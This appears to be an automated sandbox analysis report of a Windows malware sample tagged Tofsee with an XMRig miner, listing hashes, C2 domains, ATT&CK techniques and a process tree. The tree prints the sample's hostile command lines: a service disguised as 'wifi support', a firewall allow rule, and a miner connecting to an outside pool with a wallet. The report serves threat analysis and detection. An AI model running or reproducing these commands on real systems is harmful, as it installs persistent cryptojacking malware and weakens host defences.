Analysis

  • max time kernel
    145s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 16:52

General

  • Target

    54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc.exe

  • Size

    265KB

  • MD5

    5b25789fe350d2a6ba2210eb9aa435b4

  • SHA1

    f749063f1e6f0e6dcb882b2f6b2477e051eb0474

  • SHA256

    54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc

  • SHA512

    25858e4f9a07da7fc12de5ac5297a5e0ebafa7b522e672552b21449857cd04f906220381c1ee575bfdc6a45f2d991309ded706aed533a818d896fcc958372caf

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc.exe
    "C:\Users\Admin\AppData\Local\Temp\54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bmhmknjs\
      2⤵
        PID:4660
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dntzscpq.exe" C:\Windows\SysWOW64\bmhmknjs\
        2⤵
          PID:3436
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bmhmknjs binPath= "C:\Windows\SysWOW64\bmhmknjs\dntzscpq.exe /d\"C:\Users\Admin\AppData\Local\Temp\54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bmhmknjs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bmhmknjs
          2⤵
          • Launches sc.exe
          PID:1628
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 1248
          2⤵
          • Program crash
          PID:5116
      • C:\Windows\SysWOW64\bmhmknjs\dntzscpq.exe
        C:\Windows\SysWOW64\bmhmknjs\dntzscpq.exe /d"C:\Users\Admin\AppData\Local\Temp\54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4736
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4964
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 508
          2⤵
          • Program crash
          PID:4704
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2912 -ip 2912
        1⤵
          PID:2492
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4736 -ip 4736
          1⤵
            PID:4612

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dntzscpq.exe
            Filesize

            10.9MB

            MD5

            9133b1cdff28ff7bbe9ec69f48b84f02

            SHA1

            7660724eac8d933cea3d33a5921ff651d2ed8ba7

            SHA256

            2273c26348d8d473e8db891ecd7ea4a8e9a4555c8780d6845e55718518c97e7b

            SHA512

            5e5aeb64ac4fc13f21d498c09bc70bf69856a8191fd3bdfb6c67d748659795123052b6df88ee2d2e4b92502a815b8a53683f17d77447f54da3da6d23abcfd95a

          • C:\Windows\SysWOW64\bmhmknjs\dntzscpq.exe
            Filesize

            10.9MB

            MD5

            9133b1cdff28ff7bbe9ec69f48b84f02

            SHA1

            7660724eac8d933cea3d33a5921ff651d2ed8ba7

            SHA256

            2273c26348d8d473e8db891ecd7ea4a8e9a4555c8780d6845e55718518c97e7b

            SHA512

            5e5aeb64ac4fc13f21d498c09bc70bf69856a8191fd3bdfb6c67d748659795123052b6df88ee2d2e4b92502a815b8a53683f17d77447f54da3da6d23abcfd95a

          • memory/528-141-0x0000000000000000-mapping.dmp
          • memory/1528-137-0x0000000000000000-mapping.dmp
          • memory/1628-139-0x0000000000000000-mapping.dmp
          • memory/2912-131-0x0000000002DC0000-0x0000000002EC0000-memory.dmp
            Filesize

            1024KB

          • memory/2912-134-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/2912-132-0x0000000003130000-0x0000000003143000-memory.dmp
            Filesize

            76KB

          • memory/2912-142-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/3436-135-0x0000000000000000-mapping.dmp
          • memory/4300-169-0x0000000000000000-mapping.dmp
          • memory/4300-175-0x00000000004F0000-0x00000000005E1000-memory.dmp
            Filesize

            964KB

          • memory/4300-170-0x00000000004F0000-0x00000000005E1000-memory.dmp
            Filesize

            964KB

          • memory/4396-138-0x0000000000000000-mapping.dmp
          • memory/4660-133-0x0000000000000000-mapping.dmp
          • memory/4736-147-0x0000000002FEE000-0x0000000002FFE000-memory.dmp
            Filesize

            64KB

          • memory/4736-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4964-143-0x0000000000000000-mapping.dmp
          • memory/4964-151-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/4964-154-0x0000000002410000-0x0000000002416000-memory.dmp
            Filesize

            24KB

          • memory/4964-157-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/4964-160-0x00000000025F0000-0x00000000025F5000-memory.dmp
            Filesize

            20KB

          • memory/4964-163-0x0000000007100000-0x000000000750B000-memory.dmp
            Filesize

            4.0MB

          • memory/4964-166-0x0000000007650000-0x0000000007657000-memory.dmp
            Filesize

            28KB

          • memory/4964-150-0x0000000000380000-0x0000000000395000-memory.dmp
            Filesize

            84KB

          • memory/4964-148-0x0000000000380000-0x0000000000395000-memory.dmp
            Filesize

            84KB

          • memory/4964-144-0x0000000000380000-0x0000000000395000-memory.dmp
            Filesize

            84KB